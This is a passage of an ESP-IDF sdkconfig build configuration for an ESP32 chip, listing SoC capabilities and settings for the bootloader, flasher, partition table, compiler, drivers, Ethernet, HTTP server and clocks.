CONFIG_SOC_ADC_DIGI_MIN_BITWIDTH=9 47 | CONFIG_SOC_ADC_DIGI_MAX_BITWIDTH=12 48 | CONFIG_SOC_ADC_DIGI_RESULT_BYTES=2 49 | CONFIG_SOC_ADC_DIGI_DATA_BYTES_PER_CONV=4 50 | CONFIG_SOC_ADC_SAMPLE_FREQ_THRES_HIGH=2 51 | CONFIG_SOC_ADC_SAMPLE_FREQ_THRES_LOW=20 52 | CONFIG_SOC_ADC_RTC_MIN_BITWIDTH=9 53 | CONFIG_SOC_ADC_RTC_MAX_BITWIDTH=12 54 | CONFIG_SOC_RTC_SLOW_CLOCK_SUPPORT_8MD256=y 55 | CONFIG_SOC_SHARED_IDCACHE_SUPPORTED=y 56 | CONFIG_SOC_MMU_LINEAR_ADDRESS_REGION_NUM=5 57 | CONFIG_SOC_CPU_CORES_NUM=2 58 | CONFIG_SOC_CPU_INTR_NUM=32 59 | CONFIG_SOC_CPU_HAS_FPU=y 60 | CONFIG_SOC_CPU_BREAKPOINTS_NUM=2 61 | CONFIG_SOC_CPU_WATCHPOINTS_NUM=2 62 | CONFIG_SOC_CPU_WATCHPOINT_SIZE=64 63 | CONFIG_SOC_DAC_PERIPH_NUM=2 64 | CONFIG_SOC_DAC_RESOLUTION=8 65 | CONFIG_SOC_GPIO_PORT=1 66 | CONFIG_SOC_GPIO_PIN_COUNT=40 67 | CONFIG_SOC_GPIO_VALID_GPIO_MASK=0xFFFFFFFFFF 68 | CONFIG_SOC_GPIO_SUPPORT_SLP_SWITCH=y 69 | CONFIG_SOC_I2C_NUM=2 70 | CONFIG_SOC_I2C_FIFO_LEN=32 71 | CONFIG_SOC_I2C_SUPPORT_SLAVE=y 72 | CONFIG_SOC_I2C_SUPPORT_APB=y 73 | CONFIG_SOC_CLK_APLL_SUPPORTED=y 74 | CONFIG_SOC_APLL_MULTIPLIER_OUT_MIN_HZ=350000000 75 | CONFIG_SOC_APLL_MULTIPLIER_OUT_MAX_HZ=500000000 76 | CONFIG_SOC_APLL_MIN_HZ=5303031 77 | CONFIG_SOC_APLL_MAX_HZ=125000000 78 | CONFIG_SOC_I2S_NUM=2 79 | CONFIG_SOC_I2S_HW_VERSION_1=y 80 | CONFIG_SOC_I2S_SUPPORTS_APLL=y 81 | CONFIG_SOC_I2S_SUPPORTS_PDM=y 82 | CONFIG_SOC_I2S_SUPPORTS_PDM_TX=y 83 | CONFIG_SOC_I2S_SUPPORTS_PDM_RX=y 84 | CONFIG_SOC_I2S_SUPPORTS_ADC_DAC=y 85 | CONFIG_SOC_I2S_SUPPORTS_ADC=y 86 | CONFIG_SOC_I2S_SUPPORTS_DAC=y 87 | CONFIG_SOC_I2S_SUPPORTS_LCD_CAMERA=y 88 | CONFIG_SOC_I2S_TRANS_SIZE_ALIGN_WORD=y 89 | CONFIG_SOC_I2S_LCD_I80_VARIANT=y 90 | CONFIG_SOC_LCD_I80_SUPPORTED=y 91 | CONFIG_SOC_LCD_I80_BUSES=2 92 | CONFIG_SOC_LCD_I80_BUS_WIDTH=24 93 | CONFIG_SOC_LEDC_HAS_TIMER_SPECIFIC_MUX=y 94 | CONFIG_SOC_LEDC_SUPPORT_APB_CLOCK=y 95 | CONFIG_SOC_LEDC_SUPPORT_REF_TICK=y 96 | CONFIG_SOC_LEDC_SUPPORT_HS_MODE=y 97 | CONFIG_SOC_LEDC_CHANNEL_NUM=8 98 | CONFIG_SOC_LEDC_TIMER_BIT_WIDE_NUM=20 99 | CONFIG_SOC_MCPWM_GROUPS=2 100 | CONFIG_SOC_MCPWM_TIMERS_PER_GROUP=3 101 | CONFIG_SOC_MCPWM_OPERATORS_PER_GROUP=3 102 | CONFIG_SOC_MCPWM_COMPARATORS_PER_OPERATOR=2 103 | CONFIG_SOC_MCPWM_GENERATORS_PER_OPERATOR=2 104 | CONFIG_SOC_MCPWM_TRIGGERS_PER_OPERATOR=2 105 | CONFIG_SOC_MCPWM_GPIO_FAULTS_PER_GROUP=3 106 | CONFIG_SOC_MCPWM_CAPTURE_TIMERS_PER_GROUP=y 107 | CONFIG_SOC_MCPWM_CAPTURE_CHANNELS_PER_TIMER=3 108 | CONFIG_SOC_MCPWM_GPIO_SYNCHROS_PER_GROUP=3 109 | CONFIG_SOC_MPU_MIN_REGION_SIZE=0x20000000 110 | CONFIG_SOC_MPU_REGIONS_MAX_NUM=8 111 | CONFIG_SOC_PCNT_GROUPS=1 112 | CONFIG_SOC_PCNT_UNITS_PER_GROUP=8 113 | CONFIG_SOC_PCNT_CHANNELS_PER_UNIT=2 114 | CONFIG_SOC_PCNT_THRES_POINT_PER_UNIT=2 115 | CONFIG_SOC_RMT_GROUPS=1 116 | CONFIG_SOC_RMT_TX_CANDIDATES_PER_GROUP=8 117 | CONFIG_SOC_RMT_RX_CANDIDATES_PER_GROUP=8 118 | CONFIG_SOC_RMT_CHANNELS_PER_GROUP=8 119 | CONFIG_SOC_RMT_MEM_WORDS_PER_CHANNEL=64 120 | CONFIG_SOC_RMT_SUPPORT_REF_TICK=y 121 | CONFIG_SOC_RMT_SUPPORT_APB=y 122 | CONFIG_SOC_RMT_CHANNEL_CLK_INDEPENDENT=y 123 | CONFIG_SOC_RTCIO_PIN_COUNT=18 124 | CONFIG_SOC_RTCIO_INPUT_OUTPUT_SUPPORTED=y 125 | CONFIG_SOC_RTCIO_HOLD_SUPPORTED=y 126 | CONFIG_SOC_RTCIO_WAKE_SUPPORTED=y 127 | CONFIG_SOC_SDM_GROUPS=1 128 | CONFIG_SOC_SDM_CHANNELS_PER_GROUP=8 129 | CONFIG_SOC_SPI_HD_BOTH_INOUT_SUPPORTED=y 130 | CONFIG_SOC_SPI_AS_CS_SUPPORTED=y 131 | CONFIG_SOC_SPI_PERIPH_NUM=3 132 | CONFIG_SOC_SPI_DMA_CHAN_NUM=2 133 | CONFIG_SOC_SPI_MAX_CS_NUM=3 134 | CONFIG_SOC_SPI_MAXIMUM_BUFFER_SIZE=64 135 | CONFIG_SOC_SPI_MAX_PRE_DIVIDER=8192 136 | CONFIG_SOC_MEMSPI_SRC_FREQ_80M_SUPPORTED=y 137 | CONFIG_SOC_MEMSPI_SRC_FREQ_40M_SUPPORTED=y 138 | CONFIG_SOC_MEMSPI_SRC_FREQ_26M_SUPPORTED=y 139 | CONFIG_SOC_MEMSPI_SRC_FREQ_20M_SUPPORTED=y 140 | CONFIG_SOC_TIMER_GROUPS=2 141 | CONFIG_SOC_TIMER_GROUP_TIMERS_PER_GROUP=2 142 | CONFIG_SOC_TIMER_GROUP_COUNTER_BIT_WIDTH=64 143 | CONFIG_SOC_TIMER_GROUP_TOTAL_TIMERS=4 144 | CONFIG_SOC_TIMER_GROUP_SUPPORT_APB=y 145 | CONFIG_SOC_TOUCH_VERSION_1=y 146 | CONFIG_SOC_TOUCH_SENSOR_NUM=10 147 | CONFIG_SOC_TOUCH_PAD_MEASURE_WAIT_MAX=0xFF 148 | CONFIG_SOC_TWAI_BRP_MIN=2 149 | CONFIG_SOC_TWAI_SUPPORT_MULTI_ADDRESS_LAYOUT=y 150 | CONFIG_SOC_UART_NUM=3 151 | CONFIG_SOC_UART_SUPPORT_APB_CLK=y 152 | CONFIG_SOC_UART_SUPPORT_REF_TICK=y 153 | CONFIG_SOC_UART_FIFO_LEN=128 154 | CONFIG_SOC_UART_BITRATE_MAX=5000000 155 | CONFIG_SOC_SPIRAM_SUPPORTED=y 156 | CONFIG_SOC_SPI_MEM_SUPPORT_CONFIG_GPIO_BY_EFUSE=y 157 | CONFIG_SOC_SHA_SUPPORT_PARALLEL_ENG=y 158 | CONFIG_SOC_SHA_SUPPORT_SHA1=y 159 | CONFIG_SOC_SHA_SUPPORT_SHA256=y 160 | CONFIG_SOC_SHA_SUPPORT_SHA384=y 161 | CONFIG_SOC_SHA_SUPPORT_SHA512=y 162 | CONFIG_SOC_RSA_MAX_BIT_LEN=4096 163 | CONFIG_SOC_AES_SUPPORT_AES_128=y 164 | CONFIG_SOC_AES_SUPPORT_AES_192=y 165 | CONFIG_SOC_AES_SUPPORT_AES_256=y 166 | CONFIG_SOC_SECURE_BOOT_V1=y 167 | CONFIG_SOC_EFUSE_SECURE_BOOT_KEY_DIGESTS=y 168 | CONFIG_SOC_FLASH_ENCRYPTED_XTS_AES_BLOCK_MAX=32 169 | CONFIG_SOC_PHY_DIG_REGS_MEM_SIZE=21 170 | CONFIG_SOC_PM_SUPPORT_EXT_WAKEUP=y 171 | CONFIG_SOC_PM_SUPPORT_TOUCH_SENSOR_WAKEUP=y 172 | CONFIG_SOC_PM_SUPPORT_RTC_PERIPH_PD=y 173 | CONFIG_SOC_PM_SUPPORT_RTC_FAST_MEM_PD=y 174 | CONFIG_SOC_PM_SUPPORT_RTC_SLOW_MEM_PD=y 175 | CONFIG_SOC_SDMMC_USE_IOMUX=y 176 | CONFIG_SOC_SDMMC_NUM_SLOTS=2 177 | CONFIG_SOC_WIFI_WAPI_SUPPORT=y 178 | CONFIG_SOC_WIFI_CSI_SUPPORT=y 179 | CONFIG_SOC_WIFI_MESH_SUPPORT=y 180 | CONFIG_SOC_BLE_SUPPORTED=y 181 | CONFIG_SOC_BLE_MESH_SUPPORTED=y 182 | CONFIG_SOC_BT_CLASSIC_SUPPORTED=y 183 | CONFIG_IDF_CMAKE=y 184 | CONFIG_IDF_TARGET_ARCH_XTENSA=y 185 | CONFIG_IDF_TARGET_ARCH="xtensa" 186 | CONFIG_IDF_TARGET="esp32" 187 | CONFIG_IDF_TARGET_ESP32=y 188 | CONFIG_IDF_FIRMWARE_CHIP_ID=0x0000 189 | 190 | # 191 | # Build type 192 | # 193 | CONFIG_APP_BUILD_TYPE_APP_2NDBOOT=y 194 | # CONFIG_APP_BUILD_TYPE_ELF_RAM is not set 195 | CONFIG_APP_BUILD_GENERATE_BINARIES=y 196 | CONFIG_APP_BUILD_BOOTLOADER=y 197 | CONFIG_APP_BUILD_USE_FLASH_SECTIONS=y 198 | # CONFIG_APP_REPRODUCIBLE_BUILD is not set 199 | # CONFIG_APP_NO_BLOBS is not set 200 | # CONFIG_APP_COMPATIBLE_PRE_V2_1_BOOTLOADERS is not set 201 | # CONFIG_APP_COMPATIBLE_PRE_V3_1_BOOTLOADERS is not set 202 | # end of Build type 203 | 204 | # 205 | # Bootloader config 206 | # 207 | CONFIG_BOOTLOADER_OFFSET_IN_FLASH=0x1000 208 | CONFIG_BOOTLOADER_COMPILER_OPTIMIZATION_SIZE=y 209 | # CONFIG_BOOTLOADER_COMPILER_OPTIMIZATION_DEBUG is not set 210 | # CONFIG_BOOTLOADER_COMPILER_OPTIMIZATION_PERF is not set 211 | # CONFIG_BOOTLOADER_COMPILER_OPTIMIZATION_NONE is not set 212 | # CONFIG_BOOTLOADER_LOG_LEVEL_NONE is not set 213 | # CONFIG_BOOTLOADER_LOG_LEVEL_ERROR is not set 214 | # CONFIG_BOOTLOADER_LOG_LEVEL_WARN is not set 215 | CONFIG_BOOTLOADER_LOG_LEVEL_INFO=y 216 | # CONFIG_BOOTLOADER_LOG_LEVEL_DEBUG is not set 217 | # CONFIG_BOOTLOADER_LOG_LEVEL_VERBOSE is not set 218 | CONFIG_BOOTLOADER_LOG_LEVEL=3 219 | # CONFIG_BOOTLOADER_VDDSDIO_BOOST_1_8V is not set 220 | CONFIG_BOOTLOADER_VDDSDIO_BOOST_1_9V=y 221 | # CONFIG_BOOTLOADER_FACTORY_RESET is not set 222 | # CONFIG_BOOTLOADER_APP_TEST is not set 223 | CONFIG_BOOTLOADER_REGION_PROTECTION_ENABLE=y 224 | CONFIG_BOOTLOADER_WDT_ENABLE=y 225 | # CONFIG_BOOTLOADER_WDT_DISABLE_IN_USER_CODE is not set 226 | CONFIG_BOOTLOADER_WDT_TIME_MS=9000 227 | # CONFIG_BOOTLOADER_APP_ROLLBACK_ENABLE is not set 228 | # CONFIG_BOOTLOADER_SKIP_VALIDATE_IN_DEEP_SLEEP is not set 229 | # CONFIG_BOOTLOADER_SKIP_VALIDATE_ON_POWER_ON is not set 230 | # CONFIG_BOOTLOADER_SKIP_VALIDATE_ALWAYS is not set 231 | CONFIG_BOOTLOADER_RESERVE_RTC_SIZE=0 232 | # CONFIG_BOOTLOADER_CUSTOM_RESERVE_RTC is not set 233 | CONFIG_BOOTLOADER_FLASH_XMC_SUPPORT=y 234 | # end of Bootloader config 235 | 236 | # 237 | # Security features 238 | # 239 | CONFIG_SECURE_BOOT_V1_SUPPORTED=y 240 | # CONFIG_SECURE_SIGNED_APPS_NO_SECURE_BOOT is not set 241 | # CONFIG_SECURE_BOOT is not set 242 | # CONFIG_SECURE_FLASH_ENC_ENABLED is not set 243 | # end of Security features 244 | 245 | # 246 | # Application manager 247 | # 248 | CONFIG_APP_COMPILE_TIME_DATE=y 249 | # CONFIG_APP_EXCLUDE_PROJECT_VER_VAR is not set 250 | # CONFIG_APP_EXCLUDE_PROJECT_NAME_VAR is not set 251 | # CONFIG_APP_PROJECT_VER_FROM_CONFIG is not set 252 | CONFIG_APP_RETRIEVE_LEN_ELF_SHA=16 253 | # end of Application manager 254 | 255 | CONFIG_ESP_ROM_HAS_CRC_LE=y 256 | CONFIG_ESP_ROM_HAS_CRC_BE=y 257 | CONFIG_ESP_ROM_HAS_JPEG_DECODE=y 258 | CONFIG_ESP_ROM_SUPPORT_MULTIPLE_UART=y 259 | CONFIG_ESP_ROM_NEEDS_SWSETUP_WORKAROUND=y 260 | 261 | # 262 | # Serial flasher config 263 | # 264 | # CONFIG_ESPTOOLPY_NO_STUB is not set 265 | # CONFIG_ESPTOOLPY_FLASHMODE_QIO is not set 266 | # CONFIG_ESPTOOLPY_FLASHMODE_QOUT is not set 267 | CONFIG_ESPTOOLPY_FLASHMODE_DIO=y 268 | # CONFIG_ESPTOOLPY_FLASHMODE_DOUT is not set 269 | CONFIG_ESPTOOLPY_FLASH_SAMPLE_MODE_STR=y 270 | CONFIG_ESPTOOLPY_FLASHMODE="dio" 271 | # CONFIG_ESPTOOLPY_FLASHFREQ_80M is not set 272 | CONFIG_ESPTOOLPY_FLASHFREQ_40M=y 273 | # CONFIG_ESPTOOLPY_FLASHFREQ_26M is not set 274 | # CONFIG_ESPTOOLPY_FLASHFREQ_20M is not set 275 | CONFIG_ESPTOOLPY_FLASHFREQ="40m" 276 | # CONFIG_ESPTOOLPY_FLASHSIZE_1MB is not set 277 | CONFIG_ESPTOOLPY_FLASHSIZE_2MB=y 278 | # CONFIG_ESPTOOLPY_FLASHSIZE_4MB is not set 279 | # CONFIG_ESPTOOLPY_FLASHSIZE_8MB is not set 280 | # CONFIG_ESPTOOLPY_FLASHSIZE_16MB is not set 281 | # CONFIG_ESPTOOLPY_FLASHSIZE_32MB is not set 282 | # CONFIG_ESPTOOLPY_FLASHSIZE_64MB is not set 283 | # CONFIG_ESPTOOLPY_FLASHSIZE_128MB is not set 284 | CONFIG_ESPTOOLPY_FLASHSIZE="2MB" 285 | # CONFIG_ESPTOOLPY_HEADER_FLASHSIZE_UPDATE is not set 286 | CONFIG_ESPTOOLPY_BEFORE_RESET=y 287 | # CONFIG_ESPTOOLPY_BEFORE_NORESET is not set 288 | CONFIG_ESPTOOLPY_BEFORE="default_reset" 289 | CONFIG_ESPTOOLPY_AFTER_RESET=y 290 | # CONFIG_ESPTOOLPY_AFTER_NORESET is not set 291 | CONFIG_ESPTOOLPY_AFTER="hard_reset" 292 | CONFIG_ESPTOOLPY_MONITOR_BAUD=115200 293 | # end of Serial flasher config 294 | 295 | # 296 | # Partition Table 297 | # 298 | CONFIG_PARTITION_TABLE_SINGLE_APP=y 299 | # CONFIG_PARTITION_TABLE_SINGLE_APP_LARGE is not set 300 | # CONFIG_PARTITION_TABLE_TWO_OTA is not set 301 | # CONFIG_PARTITION_TABLE_CUSTOM is not set 302 | CONFIG_PARTITION_TABLE_CUSTOM_FILENAME="partitions.csv" 303 | CONFIG_PARTITION_TABLE_FILENAME="partitions_singleapp.csv" 304 | CONFIG_PARTITION_TABLE_OFFSET=0x8000 305 | CONFIG_PARTITION_TABLE_MD5=y 306 | # end of Partition Table 307 | 308 | # 309 | # Compiler options 310 | # 311 | CONFIG_COMPILER_OPTIMIZATION_DEFAULT=y 312 | # CONFIG_COMPILER_OPTIMIZATION_SIZE is not set 313 | # CONFIG_COMPILER_OPTIMIZATION_PERF is not set 314 | # CONFIG_COMPILER_OPTIMIZATION_NONE is not set 315 | CONFIG_COMPILER_OPTIMIZATION_ASSERTIONS_ENABLE=y 316 | # CONFIG_COMPILER_OPTIMIZATION_ASSERTIONS_SILENT is not set 317 | # CONFIG_COMPILER_OPTIMIZATION_ASSERTIONS_DISABLE is not set 318 | CONFIG_COMPILER_FLOAT_LIB_FROM_GCCLIB=y 319 | CONFIG_COMPILER_OPTIMIZATION_ASSERTION_LEVEL=2 320 | # CONFIG_COMPILER_OPTIMIZATION_CHECKS_SILENT is not set 321 | CONFIG_COMPILER_HIDE_PATHS_MACROS=y 322 | # CONFIG_COMPILER_CXX_EXCEPTIONS is not set 323 | # CONFIG_COMPILER_CXX_RTTI is not set 324 | CONFIG_COMPILER_STACK_CHECK_MODE_NONE=y 325 | # CONFIG_COMPILER_STACK_CHECK_MODE_NORM is not set 326 | # CONFIG_COMPILER_STACK_CHECK_MODE_STRONG is not set 327 | # CONFIG_COMPILER_STACK_CHECK_MODE_ALL is not set 328 | # CONFIG_COMPILER_WARN_WRITE_STRINGS is not set 329 | # CONFIG_COMPILER_DUMP_RTL_FILES is not set 330 | # end of Compiler options 331 | 332 | # 333 | # Component config 334 | # 335 | 336 | # 337 | # Application Level Tracing 338 | # 339 | # CONFIG_APPTRACE_DEST_JTAG is not set 340 | CONFIG_APPTRACE_DEST_NONE=y 341 | # CONFIG_APPTRACE_DEST_UART1 is not set 342 | # CONFIG_APPTRACE_DEST_UART2 is not set 343 | CONFIG_APPTRACE_DEST_UART_NONE=y 344 | CONFIG_APPTRACE_UART_TASK_PRIO=1 345 | CONFIG_APPTRACE_LOCK_ENABLE=y 346 | # end of Application Level Tracing 347 | 348 | # 349 | # Bluetooth 350 | # 351 | # CONFIG_BT_ENABLED is not set 352 | # end of Bluetooth 353 | 354 | # 355 | # Driver Configurations 356 | # 357 | 358 | # 359 | # Legacy ADC Configuration 360 | # 361 | CONFIG_ADC_DISABLE_DAC=y 362 | # CONFIG_ADC_SUPPRESS_DEPRECATE_WARN is not set 363 | 364 | # 365 | # Legacy ADC Calibration Configuration 366 | # 367 | CONFIG_ADC_CAL_EFUSE_TP_ENABLE=y 368 | CONFIG_ADC_CAL_EFUSE_VREF_ENABLE=y 369 | CONFIG_ADC_CAL_LUT_ENABLE=y 370 | # CONFIG_ADC_CALI_SUPPRESS_DEPRECATE_WARN is not set 371 | # end of Legacy ADC Calibration Configuration 372 | # end of Legacy ADC Configuration 373 | 374 | # 375 | # SPI Configuration 376 | # 377 | # CONFIG_SPI_MASTER_IN_IRAM is not set 378 | CONFIG_SPI_MASTER_ISR_IN_IRAM=y 379 | # CONFIG_SPI_SLAVE_IN_IRAM is not set 380 | CONFIG_SPI_SLAVE_ISR_IN_IRAM=y 381 | # end of SPI Configuration 382 | 383 | # 384 | # TWAI Configuration 385 | # 386 | # CONFIG_TWAI_ISR_IN_IRAM is not set 387 | CONFIG_TWAI_ERRATA_FIX_BUS_OFF_REC=y 388 | CONFIG_TWAI_ERRATA_FIX_TX_INTR_LOST=y 389 | CONFIG_TWAI_ERRATA_FIX_RX_FRAME_INVALID=y 390 | CONFIG_TWAI_ERRATA_FIX_RX_FIFO_CORRUPT=y 391 | # end of TWAI Configuration 392 | 393 | # 394 | # UART Configuration 395 | # 396 | # CONFIG_UART_ISR_IN_IRAM is not set 397 | # end of UART Configuration 398 | 399 | # 400 | # GPIO Configuration 401 | # 402 | # CONFIG_GPIO_ESP32_SUPPORT_SWITCH_SLP_PULL is not set 403 | # CONFIG_GPIO_CTRL_FUNC_IN_IRAM is not set 404 | # end of GPIO Configuration 405 | 406 | # 407 | # Sigma Delta Modulator Configuration 408 | # 409 | # CONFIG_SDM_CTRL_FUNC_IN_IRAM is not set 410 | # CONFIG_SDM_SUPPRESS_DEPRECATE_WARN is not set 411 | # CONFIG_SDM_ENABLE_DEBUG_LOG is not set 412 | # end of Sigma Delta Modulator Configuration 413 | 414 | # 415 | # GPTimer Configuration 416 | # 417 | # CONFIG_GPTIMER_CTRL_FUNC_IN_IRAM is not set 418 | # CONFIG_GPTIMER_ISR_IRAM_SAFE is not set 419 | # CONFIG_GPTIMER_SUPPRESS_DEPRECATE_WARN is not set 420 | # CONFIG_GPTIMER_ENABLE_DEBUG_LOG is not set 421 | # end of GPTimer Configuration 422 | 423 | # 424 | # PCNT Configuration 425 | # 426 | # CONFIG_PCNT_CTRL_FUNC_IN_IRAM is not set 427 | # CONFIG_PCNT_ISR_IRAM_SAFE is not set 428 | # CONFIG_PCNT_SUPPRESS_DEPRECATE_WARN is not set 429 | # CONFIG_PCNT_ENABLE_DEBUG_LOG is not set 430 | # end of PCNT Configuration 431 | 432 | # 433 | # RMT Configuration 434 | # 435 | # CONFIG_RMT_ISR_IRAM_SAFE is not set 436 | # CONFIG_RMT_SUPPRESS_DEPRECATE_WARN is not set 437 | # CONFIG_RMT_ENABLE_DEBUG_LOG is not set 438 | # end of RMT Configuration 439 | 440 | # 441 | # MCPWM Configuration 442 | # 443 | # CONFIG_MCPWM_ISR_IRAM_SAFE is not set 444 | # CONFIG_MCPWM_CTRL_FUNC_IN_IRAM is not set 445 | # CONFIG_MCPWM_SUPPRESS_DEPRECATE_WARN is not set 446 | # CONFIG_MCPWM_ENABLE_DEBUG_LOG is not set 447 | # end of MCPWM Configuration 448 | 449 | # 450 | # I2S Configuration 451 | # 452 | # CONFIG_I2S_ISR_IRAM_SAFE is not set 453 | # CONFIG_I2S_SUPPRESS_DEPRECATE_WARN is not set 454 | # CONFIG_I2S_ENABLE_DEBUG_LOG is not set 455 | # end of I2S Configuration 456 | # end of Driver Configurations 457 | 458 | # 459 | # eFuse Bit Manager 460 | # 461 | # CONFIG_EFUSE_CUSTOM_TABLE is not set 462 | # CONFIG_EFUSE_VIRTUAL is not set 463 | # CONFIG_EFUSE_CODE_SCHEME_COMPAT_NONE is not set 464 | CONFIG_EFUSE_CODE_SCHEME_COMPAT_3_4=y 465 | # CONFIG_EFUSE_CODE_SCHEME_COMPAT_REPEAT is not set 466 | CONFIG_EFUSE_MAX_BLK_LEN=192 467 | # end of eFuse Bit Manager 468 | 469 | # 470 | # ESP-TLS 471 | # 472 | CONFIG_ESP_TLS_USING_MBEDTLS=y 473 | # CONFIG_ESP_TLS_USE_SECURE_ELEMENT is not set 474 | # CONFIG_ESP_TLS_CLIENT_SESSION_TICKETS is not set 475 | # CONFIG_ESP_TLS_SERVER is not set 476 | # CONFIG_ESP_TLS_PSK_VERIFICATION is not set 477 | # CONFIG_ESP_TLS_INSECURE is not set 478 | # end of ESP-TLS 479 | 480 | # 481 | # ADC and ADC Calibration 482 | # 483 | # CONFIG_ADC_ONESHOT_CTRL_FUNC_IN_IRAM is not set 484 | # CONFIG_ADC_CONTINUOUS_ISR_IRAM_SAFE is not set 485 | 486 | # 487 | # ADC Calibration Configurations 488 | # 489 | CONFIG_ADC_CALI_EFUSE_TP_ENABLE=y 490 | CONFIG_ADC_CALI_EFUSE_VREF_ENABLE=y 491 | CONFIG_ADC_CALI_LUT_ENABLE=y 492 | # end of ADC Calibration Configurations 493 | 494 | CONFIG_ADC_DISABLE_DAC_OUTPUT=y 495 | # end of ADC and ADC Calibration 496 | 497 | # 498 | # Common ESP-related 499 | # 500 | CONFIG_ESP_ERR_TO_NAME_LOOKUP=y 501 | # end of Common ESP-related 502 | 503 | # 504 | # Ethernet 505 | # 506 | CONFIG_ETH_ENABLED=y 507 | CONFIG_ETH_USE_ESP32_EMAC=y 508 | CONFIG_ETH_PHY_INTERFACE_RMII=y 509 | CONFIG_ETH_RMII_CLK_INPUT=y 510 | # CONFIG_ETH_RMII_CLK_OUTPUT is not set 511 | CONFIG_ETH_RMII_CLK_IN_GPIO=0 512 | CONFIG_ETH_DMA_BUFFER_SIZE=512 513 | CONFIG_ETH_DMA_RX_BUFFER_NUM=10 514 | CONFIG_ETH_DMA_TX_BUFFER_NUM=10 515 | CONFIG_ETH_USE_SPI_ETHERNET=y 516 | # CONFIG_ETH_SPI_ETHERNET_DM9051 is not set 517 | # CONFIG_ETH_SPI_ETHERNET_W5500 is not set 518 | # CONFIG_ETH_SPI_ETHERNET_KSZ8851SNL is not set 519 | # CONFIG_ETH_USE_OPENETH is not set 520 | # CONFIG_ETH_TRANSMIT_MUTEX is not set 521 | # end of Ethernet 522 | 523 | # 524 | # Event Loop Library 525 | # 526 | # CONFIG_ESP_EVENT_LOOP_PROFILING is not set 527 | CONFIG_ESP_EVENT_POST_FROM_ISR=y 528 | CONFIG_ESP_EVENT_POST_FROM_IRAM_ISR=y 529 | # end of Event Loop Library 530 | 531 | # 532 | # GDB Stub 533 | # 534 | # end of GDB Stub 535 | 536 | # 537 | # ESP HTTP client 538 | # 539 | CONFIG_ESP_HTTP_CLIENT_ENABLE_HTTPS=y 540 | # CONFIG_ESP_HTTP_CLIENT_ENABLE_BASIC_AUTH is not set 541 | # CONFIG_ESP_HTTP_CLIENT_ENABLE_DIGEST_AUTH is not set 542 | # end of ESP HTTP client 543 | 544 | # 545 | # HTTP Server 546 | # 547 | CONFIG_HTTPD_MAX_REQ_HDR_LEN=512 548 | CONFIG_HTTPD_MAX_URI_LEN=512 549 | CONFIG_HTTPD_ERR_RESP_NO_DELAY=y 550 | CONFIG_HTTPD_PURGE_BUF_LEN=32 551 | # CONFIG_HTTPD_LOG_PURGE_DATA is not set 552 | # CONFIG_HTTPD_WS_SUPPORT is not set 553 | # CONFIG_HTTPD_QUEUE_WORK_BLOCKING is not set 554 | # end of HTTP Server 555 | 556 | # 557 | # ESP HTTPS OTA 558 | # 559 | # CONFIG_ESP_HTTPS_OTA_DECRYPT_CB is not set 560 | # CONFIG_ESP_HTTPS_OTA_ALLOW_HTTP is not set 561 | # end of ESP HTTPS OTA 562 | 563 | # 564 | # ESP HTTPS server 565 | # 566 | # CONFIG_ESP_HTTPS_SERVER_ENABLE is not set 567 | # end of ESP HTTPS server 568 | 569 | # 570 | # Hardware Settings 571 | # 572 | 573 | # 574 | # MAC Config 575 | # 576 | CONFIG_ESP_MAC_ADDR_UNIVERSE_WIFI_STA=y 577 | CONFIG_ESP_MAC_ADDR_UNIVERSE_WIFI_AP=y 578 | CONFIG_ESP_MAC_ADDR_UNIVERSE_BT=y 579 | CONFIG_ESP_MAC_ADDR_UNIVERSE_ETH=y 580 | # CONFIG_ESP32_UNIVERSAL_MAC_ADDRESSES_TWO is not set 581 | CONFIG_ESP32_UNIVERSAL_MAC_ADDRESSES_FOUR=y 582 | CONFIG_ESP32_UNIVERSAL_MAC_ADDRESSES=4 583 | # end of MAC Config 584 | 585 | # 586 | # Sleep Config 587 | # 588 | # CONFIG_ESP_SLEEP_POWER_DOWN_FLASH is not set 589 | CONFIG_ESP_SLEEP_RTC_BUS_ISO_WORKAROUND=y 590 | # CONFIG_ESP_SLEEP_GPIO_RESET_WORKAROUND is not set 591 | CONFIG_ESP_SLEEP_FLASH_LEAKAGE_WORKAROUND=y 592 | # CONFIG_ESP_SLEEP_MSPI_NEED_ALL_IO_PU is not set 593 | CONFIG_ESP_SLEEP_DEEP_SLEEP_WAKEUP_DELAY=2000 594 | # end of Sleep Config 595 | 596 | # 597 | # RTC Clock Config 598 | # 599 | CONFIG_RTC_CLK_SRC_INT_RC=y 600 | # CONFIG_RTC_CLK_SRC_EXT_CRYS is not set 601 | # CONFIG_RTC_CLK_SRC_EXT_OSC is not set 602 | # CONFIG_RTC_CLK_SRC_INT_8MD256 is not set 603 | CONFIG_RTC_CLK_CAL_CYCLES=1024 604 | # end of RTC Clock Config 605 | 606 | # 607 | # Peripheral Control 608 | # 609 | # CONFIG_PERIPH_CTRL_FUNC_IN_IRAM is not set 610 | # end of Peripheral Control 611 | 612 | # 613 | # MMU Config 614 | # 615 | CONFIG_MMU_PAGE_SIZE_64KB=y 616 | CONFIG_MMU_PAGE_MODE="64KB" 617 | CONFIG_MMU_PAGE_SIZE=0x10000 618 | # end of MMU Config 619 | 620 | CONFIG_ESP32_REV_MIN_0=y 621 | # CONFIG_ESP32_REV_MIN_1 is not set 622 | # CONFIG_ESP32_REV_MIN_2 is not set 623 | # CONFIG_ESP32_REV_MIN_3 is not set 624 | CONFIG_ESP32_REV_MIN=0 625 | 626 | # 627 | # Main XTAL Config 628 | # 629 | # CONFIG_XTAL_FREQ_26 is not set 630 | CONFIG_XTAL_FREQ_40=y 631 | # CONFIG_XTAL_FREQ_AUTO is not set 632 | CONFIG_XTAL_FREQ=40 633 | # end of Main XTAL Config 634 | # end of Hardware Settings 635 | 636 | # 637 | # LCD and Touch Panel 638 | # 639 | 640 | # 641 | # LCD Touch Drivers are maintained in the IDF Component Registry 642 | # 643 | 644 | # 645 | # LCD Peripheral Configuration 646 | # 647 | CONFIG_LCD_PANEL_IO_FORMAT_BUF_SIZE=32 648 | # CONFIG_LCD_ENABLE_DEBUG_LOG is not set 649 | # end of LCD Peripheral Configuration 650 | # end of LCD and Touch Panel 651 | 652 | # 653 | # ESP NETIF Adapter 654 | # 655 | CONFIG_ESP_NETIF_IP_LOST_TIMER_INTERVAL=120 656 | CONFIG_ESP_NETIF_TCPIP_LWIP=y 657 | # CONFIG_ESP_NETIF_LOOPBACK is not set 658 | # CONFIG_ESP_NETIF_L2_TAP is not set 659 | # CONFIG_ESP_NETIF_BRIDGE_EN is not set 660 | # end of ESP NETIF Adapter 661 | 662 | # 663 | # PHY 664 | # 665 | 